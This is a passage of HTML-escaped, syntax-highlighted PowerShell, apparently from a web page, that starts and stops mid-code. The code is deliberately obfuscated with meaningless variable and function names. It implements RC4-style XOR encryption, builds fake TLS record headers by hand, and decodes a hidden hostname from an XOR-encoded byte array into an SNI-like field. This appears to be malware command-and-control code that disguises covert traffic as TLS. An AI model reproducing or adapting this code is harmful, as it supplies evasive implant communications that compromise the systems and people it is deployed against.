class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                             &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBBB8BBB8BBB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB88888B888BBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB8BBB8B88B88B8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                             &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                              &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                            &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88BBB888BBB88B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                       &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBBB8BBB8BBB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB88888B888BBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-bxor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88BBB888BBB88B8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
             &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBBB8BBB8BBB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lllIIlIIlIllllll&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888BBBBB8B8B8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
              &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8B8B88B8BB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UTF8.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888BBBBB8B8B8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                   &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lIIIlllIIIIllllI&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-B8BBB8B8BB8BBB88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88B8B888BBB88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BBB8BBB8B88B88B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8B8B88B8BB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88BBBBBB888888B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88BBBBBB888888B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88BBBBBB888888B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
             &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;llIIlllllIIIlllI&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88B888B8888B888&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IIlIlIlIllIIllIl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;168&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;187&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;172&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;183&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;184&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;167&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;240&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;186&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;171&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;169&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;176&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;177&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;176&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;186&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;187&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;172&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;240&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;189&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;177&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;179&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BB8BB8B8BBB8B8B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;222&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8B8BB888B88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88B888B8888B888&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88BBBB88B8888B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8B8BB888B88B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                          &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88BBBB88B8888B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                       &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88888B888888BB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88BBBB88B8888B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8B8BB888B88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                   &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BBBB8B8888BB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88888B888888BB8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BBBB8B8888BB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8888B88BB888B88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BBBB8B8888BB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88888B888888BB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
              &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B888BBB8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8888B88BB888B88&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
